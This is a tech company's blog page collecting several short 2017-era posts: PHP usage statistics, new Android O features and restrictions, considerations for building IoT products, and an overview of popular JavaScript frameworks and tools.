PHP is backed up by a huge library of resources and tutorials. Being open source, developers get to learn from users across the globe and this has been a defining reason why PHP is being adapted by every web developer today.

   Some Interesting Statistics

  • Usage of server-side programming languages for websites

This diagram shows the percentages of websites using various server-side programming languages.

  • Historical trends in the usage of server-side programming languages for websites 

This report shows the historical trends in the usage of server-side languages since January 2010.

  • Usage of server-side programming languages broken down by ranking   

This diagram shows the percentages of websites using various server-side programming languages broken down by ranking.

Stay tuned for more updates.

Android Developers: 3 latest new features in Android

Android_thumb800

Many new updates happened for Android developers lately after Google I/O. Initially there was no restriction on some features but now they have updated them with some restrictions.

We have covered new features and the old features as well with new restrictions.

Here are the old features with new restrictions:

• Background Execution Limits

Whenever an app runs in the background, it consumes some of the device’s limited resources, like RAM. This can result in an impaired user experience, especially if the user is using a resource-intensive app, such as playing a game or watching a video.
To lower the chance of these problems, Android O places limitations on what apps can do while users aren’t directly interacting with them. Apps are restricted in two ways:

Background Service Limitations: When an app’s service is running in the background might consume device resources which may lead to bad user experience, to avoid these type of issues Android system applies a number of limitations on background services, this does not apply to foreground services, which are more noticeable to the user.
Broadcast Limitations: Apps targeted Android O can not use their manifest to register for implicit broadcasts. They can still register for these broadcasts at runtime, and they can use the manifest to register for explicit broadcasts targeted specifically at their app.

Note: The restrictions are applied by default applied to apps which are targeting Android O and in terms of other applications users can enable these restrictions from the Settings screen even if the app has not targeted Android O.

• Android Background Location Limits

Considering battery usage and user experience , background apps which are using Android locations APIs to fetch the user’s location will receive location updates less frequently when the app is being used in a device running Android O, developers who are using Fused Location Provider (FLP), Geofencing, GNSS Measurements, Location Manager, Wi-Fi Manager will get affected by this change.

• Notifications

  1. Notification Badges

    Notification Badges are the new way of notifying users regarding the new notifications arrived for a particular app, this will display badges on app icons in supported launchers which show notifications associated with one or more notification channels in an app, which the user has not yet dismissed or acted on.

  2. Notification Channels

    Using Notification channels developers can group their application’s notifications by category so that the user can apply few characteristics basing on the notification category. When you target Android O, you must implement one or more notification channels to display notifications to your users. If you don’t target Android O, your apps behave the same as they do on Android 7.0 when running on Android O devices.

Google says that the following characteristics can be applied to notification channels and that when the user assigns one of these, it will be applied channel- wide and they are as follows

  • Importance
  • Sound
  • Lights
  • Vibration
  • Show on lock screen
  • Override do not disturb

Here are some new features:

• New in UI and Styling

There are bunch of new features of UI and Styling are introduced in Android O and are as follows

1. Fonts

Android introduced fonts in XML through which we can use custom fonts as resources, You can add your custom font file in res/font/ folder to bundle fonts as resources and can access as a normal resource file and Android Support Library 26 introduce support for APIs to request fonts from a provider application instead of bundling files into your project which helps in reducing your application size
To use these font features on devices running Android API version 14 and higher, a developer needs to use the Support Library 26.

2. Auto Sizing Textviews

By using Support Library 26 Beta developers can now instruct to their app’s Textview to automatically increase or decrease the size to fit perfectly within the boundaries of the Textview.

3. Adaptive Icons

Adaptive icons can display app’s launcher icons in a variety of shapes across different devices for instance in Google Nexus the launcher icon might be in circular and in some Samsung device it might be squircle. Google says that with Android O, each device can provide a mask for the icon, which the OS can use to render all icons with the same shape. This will likely be embraced by OEMs(Original Equipment Manufacturer) who would like to have some unique looking home screens.

4. Autofill Framework

This framework will help the user by pre-filling the user information and user can save time as Filling out forms is a time-consuming and error-prone task. Users can easily get frustrated with apps that require these type of tasks. The Autofill Framework improves the user experience by providing the following benefits:

Less time spent in filling fields Autofill saves users from re-typing information.
Minimize user input errors Typing is prone to errors, especially on mobile devices. Removing the necessity of typing information also removes the errors that come with it.

• Picture in Picture Mode

In Android 7.0, Android TV users can now watch a video in a pinned window in a corner of the screen when navigating within or between apps whereas it was not available to other devices whereas from Android O Picture in Picture is available to all the devices, not just the Android TV.

• Kotlin For Android

Java is the mostly used programming language for the development of Android, When you run a Java application, the app is compiled into a set of instructions called Bytecode and runs in a virtual machine. Many alternative Languages has been introduced to also run on the JVM through which the resulting app looks the same for the JVM
JetBrains, known for IntelliJ IDEA (Android Studio is based on IntelliJ), has introduced the Kotlin language.Kotlin is a statically-typed programming language that runs on the JVM. It can also be compiled to JavaScript source code.

Why Kotlin For Android?

  • Interoperability with Java
  • Intuitive and easy to read
  • Good Android Studio Support
  • Safe to avoid entire classes of errors such as null pointer exceptions.
  • Less to write compared to Java
  • Safe to avoid entire classes of errors such as null pointer exceptions.
  • Versatile for building server-side applications, Android apps or frontend code running in the browser.

Stay tuned for more new updates on Android.

Create IOT products and solutions – Part 1

It’s very interesting to see and understand how things are really working at the level of bytes and bits. In software, we rarely think about those details, as most of these things are abstracted so a software programmer can focus on just his piece while the hardware engineers and embedded programmers take care of making those intricate and complex circuit boards.

 

IMG_0335

Sometime back when we decided to do something in the space of IOT, we were complete newbies with absolutely no background, academic, or professional. But we learnt many things the hard way by trying, failing, and correcting. But perhaps as many people say, that may also be the best approach towards learning anything new.

Today with an experience of building an actual physical thing that listens, I feel more confident about the space, and our ability to replicate our success story for our clients as well. But what is that we build, and now a question of great debate, and subjectivity. I can perhaps think of some rules that an IOT product or initiative should bear in mind.

Before going forward, give it a thought

Does the device really help its customer? This is a very basic and moot question that every innovator and maker should ask themselves.

Does the product makes our life more safer, convenient, healthier, and happier? If the answer is yes for these questions, the product may find takers in the market.

A product must have a clear cut value proposition for its intended buyers. If the product is just a cool gadget, it will find utility only with a handful of users who will be very quick to move onto something more cooler as and when it’s available in market.

internet-of-things

Just having built something and pushing it off to the supply chain may not be of great help in building a sustainable business that will have a long term impact. One should think of constantly reinventing the product to make it better & more useful for its customers. Timely service, and a great customer support will go a long way in winning the confidence of the current active users, and the word of mouth publicity will help in winning more users till the product reaches a critical mass.

There are some challenges too

The challenge that we face today in IOT, especially industrial IOT is that existing chips that help the sensors transmit the data directly into cloud, consume a lot more power than what would be practical for widespread adoption in industries. But recent advancements in technology with the Qualcomm Cat M1 modules, and Verizon’s upgrading its infrastructure to allow ultra low band transmission at really affordable rates can be the right steps in the direction of making IOT really ubiquitous.

Security is another big challenge for mass adoption of IOT. Seeds of doubt about the device being sufficiently protected against hacking is one big reason why customers are still not able to fully give in to the idea of leaving their critical functions to a device. What if my smart locking system is hacked, and an intruder is able to hack his way inside my house?

An intrusion into house, or the smart lighting solution being hacked are still something not as much threatening as a possibility of a smart glucometer or a pacemaker being hacked. Risk of this nature can have life threatening consequences, and cannot be taken lightly.

These are valid questions which the IOT community will have to tackle head on. But I believe these questions or challenges are always there with any new technology. It takes time for ecosystem to mature to a level where issues of security are addressed, questions of viability, feasibility, and usability are addressed, and then mass adoption follows. The stage in which the current IOT development possibly is where developers and engineers worldwide are working in the direction of making IOT safer, and more useful for everyone. Soon it will be IOT for everyone.

Stay tuned for next article about some specific steps and questions to create an IOT Product.

Latest Javascript frameworks in 2017

trends-js

Java script evolution continues

If you have been using Javascript you probably are aware but if you are picking it up again for another project of yours this article will help you know the best things that have happened to the technology recently.
Javascript has been constantly evolving to meet the challenges of the newer applications that use it. Listed below are some of the most important technologies to know this year.

JavaScript fundamentals

ES6:

Is a major update to JavaScript that includes several of new features. The current version of JavaScript is ES7 .

Built-in methods:

The beauty of these function are, you can use these functions with any Javascript built in object such as String , Number, Date, RegExp, Array.

Callbacks:

The functions are used to send messages about task completion to take further actions, for further processing based on the task.

Most popular javascript Frameworks

React

React makes it painless to create interactive UIs. React is based on component logic so you can easily pass rich data through your app and keep state out of the DOM. React can also render on the server using Node and power mobile apps using React Native.

Here are some of the React tools that are going to stay relevant for at least another year

Chrome dev tool:

Set of web authoring and debugging tools built into Google Chrome. Use the DevTools to debug and profile your site.

Babel:

This compiler used to compile ES6 and writing next generation javascript

Webpack:

Webpack is a module builder for latest JavaScript applications. It’s a project builder, Used to build React web app and angular projects also.

                                                        Angular2+

AngularJS has become one of the most popular open source JavaScript frameworks of web application development. Angular 2+ is the successor to the Angular framework.

Yoemon:

Angular project generator

Grunt:

Runs angular project in local server and compiles angular project

Bower:

Download required libraries for angular project throw Bower.

                                             

Node.js

Modernizing systems and processes has become a top priority for businesses across all verticals. In simplest terms, digital transformation is “the use of technology to radically improve performance or (business) reach.” Node.js is emerging as the de facto choice for companies looking to build the apps to achieve greater agility and drive Digital Transformation.
There are many great reasons to use Node.js. Here are two main of them, why you should love Node.js

  • If you are already a javascript developer or you know a javascript then you should start writing an API’s using Node.Js.
  • Node.Js is fast. It’s a JavaScript runtime that uses the V8 engine which allows you to build fast.

Keep checking back for more information on tech trends in Javascript, PHP and AI on https://www.mantralabsglobal.com/